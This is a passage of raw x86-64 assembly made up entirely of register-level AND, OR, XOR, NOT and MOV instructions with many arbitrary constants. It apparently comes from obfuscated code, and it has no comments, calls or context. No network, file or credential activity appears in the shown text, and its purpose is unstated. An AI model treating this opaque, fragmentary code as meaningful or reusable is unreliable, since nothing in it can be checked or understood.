and ebp, 0x9d9d284a
or ebp, eax
xor ebp, edx
not ebx
or ebx, ebp
mov eax, r8d
and eax, ecx
xor ecx, r8d
or ecx, eax
mov eax, ebx
not eax
and eax, ecx
not ecx
and ecx, ebx
or ecx, eax
mov eax, edi
and eax, 0xf435805c
and r9d, 0xbca7fa3
or r9d, eax
or edi, r11d
and r11d, 0xf435805c
and r13d, 0xbca7fa3
or r13d, r11d
xor r13d, r9d
not edi
or edi, r13d
mov edx, edi
not edx
mov r15d, ecx
not r15d
mov eax, r15d
and eax, 0x20cbc6b2
and ecx, 0xdf34394d
or ecx, eax
or r15d, edi
and edi, 0x20cbc6b2
and edx, 0xdf34394d
or edx, edi
xor edx, ecx
not r15d
or r15d, edx
mov eax, r10d
and eax, r12d
mov ecx, eax
not ecx
mov edx, r12d
and edx, 0x15dfe45d
mov ebp, r10d
and ebp, 0xea201ba2
or ebp, edx
mov r8d, r12d
or r8d, ecx
and ecx, 0x15dfe45d
and eax, 0xea201ba2
or eax, ecx
xor eax, ebp
not r8d
or r8d, eax
mov ebx, r15d
not ebx
mov ecx, r15d
mov ebp, ebx
mov eax, ebx
and eax, 0x3c4f5e61
and r15d, 0xc3b0a19e
or r15d, eax
xor r15d, 0x50803f18
or r15d, ebx
and ebx, 0x346a4306
and ecx, 0xcb95bcf9
or ecx, ebx
mov eax, ecx
xor eax, 0x3000040
xor ecx, 0x10080200
or ebp, 0x73a82763
mov r13d, ebp
not r13d
or ecx, 0x43d818
and ecx, 0x50cbfe39
and eax, 0x23200142
or eax, ecx
and ebp, 0x50cbfe39
and r13d, 0x8c140084
or r13d, ebp
xor r13d, eax
mov eax, r13d
not eax
and eax, 0x9672d19e
and r13d, 0x698d2e61
or r13d, eax
mov r11d, r13d
xor r11d, 0x1a250902
mov r14d, r8d
mov ebp, r8d
xor ebp, 0xb42ba0ac
mov r9d, ebp
and ebp, r8d
not r8d
mov eax, r8d
and eax, 0x2c34edb0
and r14d, 0xd3cb124f
or r14d, eax
xor r14d, 0xbf047336
or r14d, r8d
mov eax, r10d
and eax, 0x93309e86
and r12d, 0x6ccf6179
or r12d, eax
xor r10d, r12d
and r10d, r12d
mov eax, r10d
not eax
and eax, 0xd013b87
mov edx, r10d
and edx, 0xf2fec478
or edx, eax
xor edx, 0xf2fec478
mov eax, r14d
mov edi, edx
mov r12d, r14d
and r12d, edx
xor edx, r14d
not r14d
xor r13d, 0xe5daf6fd
mov ebx, r13d
and ebx, 0x6ccf6179
mov ecx, r11d
and ecx, 0x93309e86
or ecx, ebx
mov ebx, ecx
xor ebx, r13d
and ebx, ecx
mov ecx, r15d
not ecx
and eax, 0x1409de48
and r14d, 0xebf621b7
or r14d, eax
and edi, 0x1409de48
and r10d, 0xebf621b7
or r10d, edi
mov eax, r14d
not eax
and eax, 0xdb7583db
and r14d, 0x248a7c24
or r14d, eax
mov eax, r10d
not eax
and eax, 0xdb7583db
and r10d, 0x248a7c24
or r10d, eax
xor r10d, r14d
or edx, r12d
mov eax, edx
not eax
and eax, 0x82cdc661
and edx, 0x7d32399e
or edx, eax
xor edx, 0x7d32399e
mov eax, r10d
and eax, edx
xor edx, r10d
or edx, eax
mov eax, ebx
xor eax, r15d
and eax, ebx
and r15d, ebx
not ebx
and ebx, ecx
or r15d, ebx
mov ecx, eax
and ecx, r15d
xor r15d, eax
or r15d, ecx
mov eax, edx
not eax
and eax, 0x45b00091
mov ecx, edx
and ecx, 0xaa0f2542
or ecx, eax
xor ecx, 0xaa0f2542
and edx, 0x1040da2c
or edx, ecx
mov eax, r15d
mov edi, r15d
xor edi, 0xefbf25d3
and edi, r15d
not r15d
and r15d, 0xac9205c2
and eax, 0x432d2011
or eax, r15d
xor eax, 0x432d2011
mov ebx, eax
and ebx, edi
xor edi, eax
or edi, ebx
mov eax, edx
not eax
and eax, 0x53ef953f
and edx, 0xac106ac0
or edx, eax
mov eax, edi
not eax
and eax, 0x53ef953f
and edi, 0xac106ac0
or edi, eax
xor edi, edx
mov eax, r13d
and eax, 0x16eb4998
and r11d, 0xe914b667
or r11d, eax
mov eax, r11d
xor eax, 0xe914b667
and r9d, r8d
xor r11d, 0x142b0088
or r11d, 0x4bd45f53
mov edx, r11d
not edx
or r13d, 0xb42ba0ac
mov esi, r13d
not esi
mov ebx, r9d
and ebx, ebp
xor ebp, r9d
or ebp, ebx
and r11d, 0x9c4623e3
and edx, 0x2029800c
or edx, r11d
and r13d, 0x9c4623e3
and esi, 0x43905c10
or esi, r13d
xor esi, edx
mov edx, ebp
not edx
and edx, 0x197694ab
and ebp, 0xe6896b54
or ebp, edx
mov edx, esi
not edx
and edx, 0x197694ab
and esi, 0xe6896b54
or esi, edx
xor esi, ebp
mov edx, r8d
and edx, eax
xor eax, r8d
or eax, edx
not eax
mov edx, esi
and edx, eax
xor eax, esi
or eax, edx
mov edx, eax
not edx
and eax, 0x82de7fc
and edx, 0xf7d21803
or edx, eax
mov ebp, edx
xor ebp, 0x34900800
xor edx, 0x20e120
and edx, 0xc362f123
and ebp, 0x3c9d0edc
or ebp, edx
mov eax, ebp
xor eax, 0x8340e103
xor ebp, 0xc900450
and ebp, 0x4cb21470
and eax, 0xb34deb8f
or eax, ebp
mov edx, eax
xor edx, 0xb34deb8f
xor eax, 0x4cb21470
mov ecx, edi
xor ecx, eax
and ecx, edi
and eax, edi
not edi
and edi, edx
or eax, edi
mov r15d, ecx
not r15d
mov ebp, eax
not ebp
mov edx, r15d
and edx, 0xb0817d34
and ecx, 0x4f7e82cb
or ecx, edx
or r15d, ebp
and ebp, 0xb0817d34
and eax, 0x4f7e82cb
or eax, ebp
xor eax, ecx
not r15d
or r15d, eax
mov r8d, r15d
mov r9d, r15d
mov r13d, r15d
mov r11d, r15d
xor r11d, 0xf1add290
and r11d, r15d
mov r12d, r15d
mov r10d, r15d
mov esi, r15d
or esi, 0x4c904ab4
mov edx, esi
not edx
mov edi, r15d
xor edi, 0xb36fb54b
and edi, r15d
mov ebx, edi
not ebx
mov ecx, esi
and ecx, 0xae8d9932
and edx, 0x11622449
or edx, ecx
or esi, ebx
and ebx, 0xae8d9932
and edi, 0x517266cd
or edi, ebx
xor edi, edx
not esi
or esi, edi
mov ecx, esi
not ecx
and ecx, 0xb800d23
and esi, 0xf47ff2dc
or esi, ecx
mov r14d, esi
and esi, r15d
not r15d
or r8d, 0x1f8b7e8b
mov ecx, r8d
not ecx
mov edi, r15d
or edi, 0xe0748174
mov ebx, edi
not ebx
and r8d, 0x202e1797
and ecx, 0xc0508060
or ecx, r8d
and edi, 0x202e1797
and ebx, 0x1f816808
or ebx, edi
xor ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x1f8b7e8b
and ebx, 0xe0748174
or ebx, ecx
mov ecx, ebx
not ecx
and ebx, 0xc2bbf0d2
mov edi, ecx
and edi, 0x3d440f2d
or edi, ebx
xor edi, 0x3d440f2c
and ecx, 0xfffffffe
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xe38ad083
and ecx, 0x1c752f7c
or ecx, ebx
mov edi, ecx
xor edi, 0x1c752f7c
mov edx, r15d
and edx, 0xdb971b59
and r9d, 0x2468e4a6
or r9d, edx
xor r9d, 0xdb971b58
mov ebp, r9d
xor ebp, r15d
and ebp, r9d
xor ecx, 0x830a5080
and ecx, 0x9b5f52ec
mov ebx, edi
and ebx, 0x64a0ad13
or ebx, ecx
mov r8d, ebx
xor r8d, 0x64a0ad13
mov eax, ebp
mov edx, ebp
xor edx, 0xcd49acab
and edx, ebp
not ebp
and ebp, 0x798796e0
and eax, 0x8678691f
or eax, ebp
mov ebp, eax
xor ebp, 0x8678691f
mov ecx, ebx
xor ecx, 0x5616fe47
and ecx, r8d
and edi, 0x32b65354
mov r9d, ecx
and r9d, edi
xor edi, ecx
mov ecx, eax
xor ecx, 0xb4ce3a4b
and ecx, ebp
or edi, r9d
mov r9d, ecx
and r9d, edx
xor edx, ecx
or edx, r9d
mov ecx, edi
not ecx
and ecx, 0xfadeb8c8
and edi, 0x5214737
or edi, ecx
mov ecx, edx
not ecx
and ecx, 0xfadeb8c8
and edx, 0x5214737
or edx, ecx
xor edx, edi
xor ebx, 0x9b5f52ec
xor eax, 0x798796e0
mov ecx, ebx
and ecx, 0xff1802c5
and r8d, 0xe7fd3a
or r8d, ecx
or ebx, eax
and eax, 0xff1802c5
and ebp, 0xe7fd3a
or ebp, eax
xor ebp, r8d
not ebx
or ebx, ebp
mov eax, ebx
not eax
and eax, 0xbb62a12d
and ebx, 0x449d5ed2
or ebx, eax
xor ebx, 0x449d5ed2
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov eax, r15d
and eax, 0x50ad8280
and r13d, 0xa1005010
or r13d, eax
mov eax, r13d
xor eax, 0x20000000
xor r13d, 0x5effafef
mov ecx, r11d
not ecx
mov edx, r13d
and edx, 0x97e4f358
and eax, 0x60090080
or eax, edx
or r13d, ecx
and ecx, 0x97e4f358
and r11d, 0x681b0ca7
or r11d, ecx
xor r11d, eax
not r13d
or r13d, r11d
mov eax, r13d
not eax
and eax, 0xe522d6f
and r13d, 0xf1add290
or r13d, eax
mov r8d, ebx
not r8d
mov eax, r13d
not eax
mov ecx, eax
or ecx, ebx
mov edx, ecx
not edx
and eax, 0xe3161d5c
and r13d, 0x1ce9e2a3
or r13d, eax
xor r13d, 0xe3161d5c
or r13d, r8d
mov eax, r13d
not eax
mov ebp, ecx
and ebp, 0xa6029f9f
and edx, 0x59fd6060
or edx, ebp
or ecx, r13d
and r13d, 0xa6029f9f
and eax, 0x59fd6060
or eax, r13d
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xaf4a3d44
and ecx, 0x50b5c2bb
or ecx, edx
and ebx, 0xaf4a3d44
and r8d, 0x50b5c2bb
or r8d, ebx
xor r8d, ecx
not r8d
or r8d, eax
mov r11d, r8d
not r11d
mov eax, r15d
and eax, 0xe5f26772
and r12d, 0x1a0d988d
or r12d, eax
mov eax, r12d
xor eax, 0x8018000
xor r12d, 0x20422400
mov ecx, r15d
or ecx, 0x39dfa604
mov edx, ecx
not edx
or r12d, 0xc40041c9
and r12d, 0xf44e65cd
and eax, 0x9918200
or eax, r12d
and ecx, 0xf44e65cd
and edx, 0x2201832
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and eax, 0xaa3c2d76
and edx, 0x55c3d289
or edx, eax
mov ecx, edx
xor ecx, 0x64103489
xor edx, 0x82238122
and edx, 0x8a2fc126
and ecx, 0x75d03ed9
or ecx, edx
mov eax, ecx
xor eax, 0x60c01850
xor ecx, 0x820d8106
and ecx, 0x971da78f
and eax, 0x68e25870
or eax, ecx
mov ecx, eax
xor ecx, 0xbea174b1
xor eax, 0x68e25870
and eax, ecx
mov ecx, r15d
and ecx, 0x9fac6ac1
and r10d, 0x6053953e
or r10d, ecx
xor r10d, 0xb610b9ff
mov ebx, r10d
xor ebx, r15d
and ebx, r10d
mov edi, eax
not edi
mov ebp, edi
and ebp, 0x512063e8
and eax, 0xaedf9c17
or eax, ebp
mov r9d, eax
xor r9d, 0x8ed70c01
mov r12d, ebx
mov ecx, ebx
xor ecx, 0xae3afb9c
and ecx, ebx
not ebx
and ebx, 0xb3019bd1
and r12d, 0x4cfe642e
or r12d, ebx
mov r10d, r12d
xor r10d, 0x4cfe642e
xor eax, 0x512063e8
mov r13d, eax
or r13d, 0x51c50463
mov ebp, r13d
not ebp
or edi, 0xae3afb9c
mov edx, edi
not edx
mov ebx, r12d
xor ebx, 0x1d3b604d
and ebx, r10d
and r13d, 0x1f3ccd5
and ebp, 0xae083308
or ebp, r13d
and edi, 0x1f3ccd5
and edx, 0x50040022
or edx, edi
xor edx, ebp
mov edi, ebx
not edi
mov ebp, ecx
not ebp
mov r13d, edi
and r13d, 0x98fe4c07
and ebx, 0x6701b3f8
or ebx, r13d
or edi, ebp
and ebp, 0x98fe4c07
and ecx, 0x6701b3f8
or ecx, ebp
xor ecx, ebx
not edi
or edi, ecx
mov ecx, edx
not ecx
and ecx, 0x2a5761b4
and edx, 0xd5a89e4b
or edx, ecx
mov ecx, edi
not ecx
and ecx, 0x2a5761b4
and edi, 0xd5a89e4b
or edi, ecx
xor edi, edx
xor r12d, 0xb3019bd1
mov ecx, eax
and ecx, 0x6008b2d6
and r9d, 0x9ff74d29
or r9d, ecx
or eax, r12d
and r12d, 0x6008b2d6
and r10d, 0x9ff74d29
or r10d, r12d
xor r10d, r9d
not eax
or eax, r10d
mov ecx, eax
not ecx
and ecx, 0xcc2fd255
and eax, 0x33d02daa
or eax, ecx
mov ecx, eax
xor ecx, 0x11100daa
mov edx, edi
not edx
xor eax, 0xcc2fd255
mov ebp, edx
and ebp, 0xaaeae215
and edi, 0x55151dea
or edi, ebp
or edx, eax
and eax, 0xaaeae215
and ecx, 0x55151dea
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x12400cc0
mov ecx, edx
and ecx, 0xc4032001
or ecx, eax
xor ecx, 0xc4032001
and edx, 0x29bcd33e
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
or ecx, 0xb8efb868
mov ebp, ecx
not ebp
and edx, 0x9ff23949
and eax, 0x600dc6b6
or eax, edx
mov edx, eax
xor edx, 0xc0004a12
xor eax, 0x271d8121
mov ebx, ecx
and ebx, 0x1de3b4ec
and ebp, 0x42104313
or ebp, ebx
or ecx, eax
and eax, 0x1de3b4ec
and edx, 0xe21c4b13
or edx, eax
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
mov edx, ecx
xor edx, 0xaac8e776
and edx, ecx
not ecx
and ecx, 0xa2c84436
and eax, 0x800a340
or eax, ecx
xor eax, 0x800a340
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x8e63638
and edx, 0xf719c9c7
or edx, eax
mov eax, edx
xor eax, 0xc410280
xor edx, 0x8206c10c
and edx, 0xd396ed3d
and eax, 0x2c6912c2
or eax, edx
mov ecx, eax
xor ecx, 0x2c011040
xor eax, 0xd3924c34
and eax, 0xd3fa4eb6
and ecx, 0x2c05b149
or ecx, eax
mov edx, ecx
xor edx, 0x80f846a0
xor ecx, 0x20011149
and ecx, 0x7303195f
and edx, 0x8cfce6a0
or edx, ecx
mov r10d, edx
xor r10d, 0x8cfce6a0
not r14d
and r15d, r14d
or esi, r15d
xor r14d, esi
and r14d, esi
mov r13d, edx
xor r13d, 0x7303195f
mov ecx, r13d
and ecx, 0xafa0a0d5
mov eax, r10d
and eax, 0x505f5f2a
or eax, ecx
mov ecx, eax
xor ecx, 0x520900
xor eax, 0x29208001
xor edx, 0xa58e7b89
and edx, r10d
or eax, 0xd68d62d6
mov ebp, edx
not ebp
mov edi, eax
and edi, 0x972534f9
and ecx, 0x28528900
or ecx, edi
or eax, ebp
and ebp, 0x972534f9
and edx, 0x68dacb06
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xea7056f7
and eax, 0x158fa908
or eax, ecx
mov r15d, eax
xor r15d, 0x3cfd3421
mov edi, r14d
not edi
mov r12d, r14d
mov edx, edi
and edx, 0x6574efbe
and r14d, 0x9a8b1041
or r14d, edx
not r14d
or r14d, edi
and edi, 0xccf22e69
and r12d, 0x330dd196
or r12d, edi
mov ebp, r12d
xor ebp, 0x330dd196
xor r12d, 0xccf22e69
mov r9d, eax
xor r9d, 0xc302cbde
mov edi, r9d
and edi, 0x9a8b1041
xor eax, 0x5989db9f
or eax, edi
mov esi, r13d
and esi, 0x6574efbe
and r10d, 0x9a8b1041
or r10d, esi
xor r13d, r10d
and r13d, r10d
mov edi, r13d
and r13d, eax
not eax
mov ecx, r12d
and ecx, 0x9a8b1041
mov edx, ebp
and edx, 0x6574efbe
or edx, ecx
not edx
or edx, r12d
mov ecx, edx
not ecx
mov esi, r14d
not esi
not edi
mov ebx, eax
xor ebx, edi
and ebx, eax
and edi, eax
or edi, r13d
mov eax, ebx
and eax, edi
xor edi, ebx
or edi, eax
mov eax, ecx
xor eax, r14d
and eax, ecx
and edx, 0xd87ed3a0
and ecx, 0x27812c5f
or ecx, edx
and r14d, 0xd87ed3a0
and esi, 0x27812c5f
or esi, r14d
xor esi, ecx
mov ecx, eax
not ecx
mov edx, esi
not edx
mov ebx, ecx
and ebx, 0xd01bb3b9
and eax, 0x2fe44c46
or eax, ebx
or ecx, edx
and edx, 0xd01bb3b9
and esi, 0x2fe44c46
or esi, edx
xor esi, eax
not ecx
or ecx, esi
not edi
mov eax, ecx
xor eax, edi
not eax
and eax, ecx
or edi, ecx
mov ecx, edi
not ecx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0xe7d3110
and eax, 0xf182ceef
or eax, edx
or ebx, edi
and edi, 0xe7d3110
and ecx, 0xf182ceef
or ecx, edi
xor ecx, eax
not ebx
or ebx, ecx
mov eax, r15d
xor eax, r12d
and eax, r15d
and r9d, 0x9d69ee0d
and r15d, 0x629611f2
or r15d, r9d
and r12d, 0x9d69ee0d
and ebp, 0x629611f2
or ebp, r12d
xor ebp, r15d
mov ecx, eax
and ecx, ebp
xor ebp, eax
or ebp, ecx
mov ecx, ebp
mov eax, ebp
xor eax, 0x9a98fb02
and eax, ebp
not ebp
and ebp, 0xff549fa5
and ecx, 0xab605a
or ecx, ebp
mov edx, ecx
xor edx, 0x802002
xor ecx, 0x9a109b00
or ecx, 0x656704fd
mov ebp, eax
not ebp
mov edi, ecx
and edi, 0xa75dd45c
and edx, 0x18802b02
or edx, edi
or ecx, ebp
and ebp, 0xa75dd45c
and eax, 0x58a22ba3
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x656704fd
and ecx, 0x9a98fb02
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x8b05ffae
and ecx, 0x74fa0051
or ecx, edx
xor ecx, 0x74fa0051
or ecx, eax
mov edi, ecx
not edi
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x6843906e
and ebx, 0x97bc6f91
or ebx, ebp
mov r9d, ebx
xor r9d, 0x97bc6f91
and ecx, 0x77751c9c
mov eax, edi
and eax, 0x888ae363
or eax, ecx
mov ecx, eax
xor ecx, 0x888ae363
xor ebx, 0x20011062
or ebx, 0xcadaef9c
mov esi, ebx
not esi
or edx, 0x35251063
mov ebp, edx
not ebp
xor eax, 0x42500cff
and eax, ecx
and edi, 0xcadaef9c
and ebx, 0xf6142cb3
and esi, 0x1211040
or esi, ebx
and edx, 0xf6142cb3
and ebp, 0x8cac30c
or ebp, edx
xor ebp, esi
mov edx, eax
and edx, edi
xor edi, eax
or edi, edx
mov edx, ebp
not edx
and edx, 0x86d9dd0
and ebp, 0xf792622f
or ebp, edx
mov edx, edi
not edx
and edx, 0x86d9dd0
and edi, 0xf792622f
or edi, edx
xor edi, ebp
mov edx, r9d
and edx, ecx
xor ecx, r9d
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd2636aff
and ecx, 0x2d9c9500
or ecx, edx
mov edx, ecx
xor edx, 0x249c0000
xor ecx, 0xd2636aff
mov eax, edi
not eax
mov ebp, eax
and ebp, 0x4b40f78e
and edi, 0xb4bf0871
or edi, ebp
or eax, ecx
and ecx, 0x4b40f78e
and edx, 0xb4bf0871
or edx, ecx
xor edx, edi
not eax
or eax, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0x60695886
mov ebp, eax
and ebp, 0x4120400
or ebp, edx
mov edx, ebp
xor edx, 0xfbedfbff
mov ecx, esi
and ecx, 0xc04fd687
and eax, 0x3fb02978
or eax, ecx
xor eax, 0xa4348a01
xor esi, eax
and esi, eax
mov eax, esi
not eax
mov ecx, edx
or ecx, eax
not ecx
and edx, 0x5e97ce4a
and ebp, 0x20681084
or ebp, edx
and eax, 0x5e97ce4a
and esi, 0xa16831b5
or esi, eax
xor esi, ebp
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, esi
not eax
and eax, 0x21601a00
mov ecx, esi
and ecx, 0x20b0110
or ecx, eax
xor ecx, 0x20b0110
and esi, 0xdc94e4ef
or esi, ecx
mov ecx, r8d
and ecx, r11d
mov eax, r8d
and eax, ecx
xor ecx, r8d
or ecx, eax
mov r10d, esi
not r10d
mov eax, r10d
and eax, 0x32018004
mov edi, esi
and edi, 0xc8920020
or edi, eax
xor edi, 0xc8920020
mov edx, esi
xor edx, 0xfa938024
and edx, esi
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov eax, edx
not eax
and eax, 0x56c7fdb
and edx, 0xfa938024
or edx, eax
mov ebp, ecx
not ebp
mov edi, edx
not edi
mov eax, ebp
or eax, edi
mov ebx, eax
not ebx
and ebp, 0xf9f68198
and ecx, 0x6097e67
or ecx, ebp
and edi, 0xf9f68198
and edx, 0x6097e67
or edx, edi
xor edx, ecx
mov ecx, edx
not ecx
mov ebp, eax
and ebp, 0xb8309878
and ebx, 0x47cf6787
or ebx, ebp
or eax, ecx
and ecx, 0xb8309878
and edx, 0x47cf6787
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x13677494
and eax, 0xec988b6b
or eax, edx
mov ebp, eax
xor ebp, 0x900
xor eax, 0x2430000
or ecx, 0x22639b7e
mov edx, ecx
not edx
or eax, 0xd5186081
and eax, 0xf75be2eb
and ebp, 0x201914
or ebp, eax
and ecx, 0xf75be2eb
and edx, 0x8840400
or edx, ecx
xor edx, ebp
mov eax, edx
not eax
and eax, 0x44610d4d
and edx, 0xbb9ef2b2
or edx, eax
mov r14d, edx
xor r14d, 0xbd6800
xor edx, 0x60029213
and edx, 0xf94293df
and r14d, 0x6bd6c20
or r14d, edx
mov r9d, r14d
xor r9d, 0x6bd6c20
xor r14d, 0xf94293df
mov eax, r8d
and eax, 0x8808b90
mov ecx, r11d
and ecx, 0x2f5047
or ecx, eax
xor ecx, 0x2f5047
mov eax, r11d
and eax, 0xf7502428
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf7502428
and eax, 0x8afdbd7
or eax, ecx
mov ecx, r10d
and ecx, 0xfd27ca08
mov ebx, esi
and ebx, 0x2d835f7
or ebx, ecx
mov ecx, ebx
xor ecx, 0x582086
mov edx, eax
not edx
and edx, 0x11597d8e
and eax, 0xeea68271
or eax, edx
mov edx, eax
xor edx, 0x8268200
xor ebx, 0xfd27ca08
xor eax, 0x11597d8e
mov edi, ebx
and edi, 0xf6805d79
and ecx, 0x97fa286
or ecx, edi
or ebx, eax
and eax, 0xf6805d79
and edx, 0x97fa286
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0x8daf9136
and ebx, 0x72506ec9
or ebx, eax
mov r15d, ebx
xor r15d, 0x72506ec9
xor ebx, 0x8c881002
and esi, 0x8dd4207b
and r10d, 0x722bdf84
or r10d, esi
mov eax, r10d
xor eax, 0x88100029
xor r10d, 0x120a1500
mov ecx, r8d
and ecx, 0xe831caad
and r11d, 0x17ce3552
or r11d, ecx
and eax, 0xe831caad
and r10d, 0x17ce3552
or r10d, eax
xor r10d, r11d
xor r8d, r10d
and r8d, r10d
and ebx, 0xfcc8564b
mov eax, r15d
and eax, 0x337a9b4
or eax, ebx
mov r10d, eax
xor r10d, 0x337a9b4
mov ebx, r8d
not ebx
xor eax, 0xfcc8564b
mov ecx, r10d
and ecx, 0xd6fe9b09
and r15d, 0x290164f6
or r15d, ecx
mov ecx, r8d
xor ecx, 0xd6fe9b09
and ecx, ebx
mov ebp, ebx
or ebp, 0xd6fe9b09
mov esi, ebp
not esi
mov edi, ecx
not edi
mov edx, edi
and edx, 0xdc25658e
and ecx, 0x23da9a71
or ecx, edx
or edi, ebp
and ebp, 0xdc25658e
and esi, 0x21000070
or esi, ebp
xor esi, ecx
not edi
or edi, esi
mov ecx, r15d
not ecx
and ecx, 0xbbca7573
and r15d, 0x44358a8c
or r15d, ecx
mov ecx, edi
not ecx
and ecx, 0xbbca7573
and edi, 0x44358a8c
or edi, ecx
xor edi, r15d
mov ecx, eax
and ecx, 0xb825146e
and r10d, 0x47daeb91
or r10d, ecx
or eax, r8d
and r8d, 0xb825146e
and ebx, 0x47daeb91
or ebx, r8d
xor ebx, r10d
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x755314f4
and eax, 0x8aaceb0b
or eax, ecx
mov ecx, eax
xor ecx, 0x8a802203
xor eax, 0x755314f4
mov r11d, edi
not r11d
mov edx, r11d
and edx, 0x306dcd4c
and edi, 0xcf9232b3
or edi, edx
or r11d, eax
and eax, 0x306dcd4c
and ecx, 0xcf9232b3
or ecx, eax
xor ecx, edi
not r11d
or r11d, ecx
mov edi, r11d
not edi
mov eax, edi
and eax, 0x18b801c4
mov edx, r11d
and edx, 0x60001a00
or edx, eax
mov ebp, edx
xor ebp, 0x40000800
xor edx, 0xa4f640c
mov eax, edi
or eax, 0x78b81bc4
mov r13d, eax
not r13d
and edx, 0x2a4f760c
and ebp, 0x50b009c0
or ebp, edx
and eax, 0x2a4f760c
and r13d, 0x85008033
or r13d, eax
xor r13d, ebp
mov eax, r13d
not eax
and eax, 0xe587b415
and r13d, 0x1a784bea
or r13d, eax
mov r10d, r13d
xor r10d, 0x62c0502e
mov r8d, r14d
and r8d, 0xa4af9905
mov eax, r9d
and eax, 0xec22f18c
mov r15d, r14d
and r15d, 0x13dd0e73
or r15d, eax
not r15d
or r15d, r9d
xor r13d, 0x9d3fafd1
mov eax, r13d
and eax, 0x13dd0e73
mov r12d, r10d
and r12d, 0xec22f18c
or r12d, eax
not r12d
or r12d, r13d
mov esi, r9d
xor esi, r13d
and esi, r9d
and r13d, r9d
and r9d, 0x5b5066fa
or r9d, r8d
xor r9d, 0x488d6889
or r9d, r14d
mov eax, r9d
not eax
mov ebp, r9d
and ebp, 0xd77e04a1
and eax, 0x2881fb5e
or eax, ebp
mov ebp, eax
xor ebp, 0x2881fb5e
mov edx, r15d
xor edx, 0x585eb470
and edx, r15d
mov ebx, ebp
and ebx, r15d
xor ebp, r15d
not r15d
mov r8d, r12d
not r8d
and r11d, 0x59bfbf17
mov ecx, edi
and ecx, 0xa64040e8
or ecx, r11d
xor ecx, 0xb59d4e9b
and edi, 0xec22f18c
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x2db825ce
and edi, 0xd247da31
or edi, ecx
mov r11d, edi
xor r11d, 0xd247da31
xor edi, 0x2db825ce
xor eax, 0x87200081
or eax, 0x585eb470
mov ecx, eax
not ecx
or r9d, 0xa7a14b8f
and eax, 0xe5105d60
and ecx, 0x2a1028f
or ecx, eax
mov eax, r9d
not eax
and r15d, 0x585eb470
and r9d, 0xe5105d60
and eax, 0x184ea010
or eax, r9d
xor eax, ecx
mov ecx, edx
and ecx, r15d
xor r15d, edx
or r15d, ecx
mov ecx, eax
not ecx
and ecx, r15d
not r15d
and r15d, eax
or r15d, ecx
or ebp, ebx
mov eax, ebp
not eax
and eax, 0x43791fb7
and ebp, 0xbc86e048
or ebp, eax
mov eax, ebp
xor eax, 0x88804048
mov ecx, r15d
not ecx
xor ebp, 0x43791fb7
mov edx, ecx
and edx, 0x371fa636
and r15d, 0xc8e059c9
or r15d, edx
or ecx, ebp
and ebp, 0x371fa636
and eax, 0xc8e059c9
or eax, ebp
xor eax, r15d
not ecx
or ecx, eax
and r11d, r12d
or r12d, edi
mov eax, r12d
not eax
and edi, r8d
or edi, r11d
mov edx, edi
not edx
mov ebp, r12d
and ebp, 0x5a46dd71
and eax, 0xa5b9228e
or eax, ebp
or r12d, edx
and edx, 0x5a46dd71
and edi, 0xa5b9228e
or edi, edx
xor edi, eax
not r12d
or r12d, edi
mov eax, ecx
not eax
mov edx, eax
or edx, 0xe6f04f61
mov ebp, edx
not ebp
mov ebx, r12d
not ebx
mov edi, r12d
xor edi, 0xe6f04f61
and ebx, edi
and edi, r12d
or ecx, 0x110c9010
and ecx, 0x913c9170
and eax, 0x66c04e01
or eax, ecx
and edx, 0x913c9170
and ebp, 0x803208e
or ebp, edx
xor ebp, eax
mov edx, ebx
not edx
mov eax, edi
not eax
mov ecx, edx
and ecx, 0x7f3d2df0
and ebx, 0x80c2d20f
or ebx, ecx
or edx, eax
and eax, 0x7f3d2df0
and edi, 0x80c2d20f
or edi, eax
xor edi, ebx
not edx
or edx, edi
mov eax, ebp
not eax
and eax, edx
not edx
and edx, ebp
or edx, eax
and r10d, r14d
or r13d, r10d
mov ecx, esi
not ecx
mov eax, r13d
not eax
mov ebp, ecx
and ebp, 0xec07f92d
and esi, 0x13f806d2
or esi, ebp
or ecx, eax
and eax, 0xec07f92d
and r13d, 0x13f806d2
or r13d, eax
xor r13d, esi
not ecx
or ecx, r13d
mov eax, ecx
not eax
and eax, 0x58650f64
and ecx, 0xa79af09b
or ecx, eax
mov eax, ecx
xor eax, 0xa79af09b
xor ecx, 0x58650f64
mov ebx, edx
xor ebx, ecx
and ebx, edx
and ecx, edx
not edx
and edx, eax
or ecx, edx
mov r12d, ebx
not r12d
mov eax, ecx
not eax
mov edx, r12d
and edx, 0x88dd7f96
and ebx, 0x77228069
or ebx, edx
or r12d, eax
and eax, 0x88dd7f96
and ecx, 0x77228069
or ecx, eax
xor ecx, ebx
not r12d
or r12d, ecx
mov ebp, r12d
not ebp
mov ecx, ebp
and ecx, 0xdbc5d0db
mov r10d, r12d
and r10d, 0x243a2f24
or r10d, ecx
xor r10d, 0xcafe8e84
or r10d, ebp
mov r14d, ebp
and r14d, r12d
mov r15d, r14d
mov r9d, ebp
mov r13d, r14d
mov r8d, ebp
mov r11d, ebp
and r11d, r14d
xor r14d, ebp
and ebp, 0x10008282
mov edx, r12d
and edx, 0x4485110
or edx, ebp
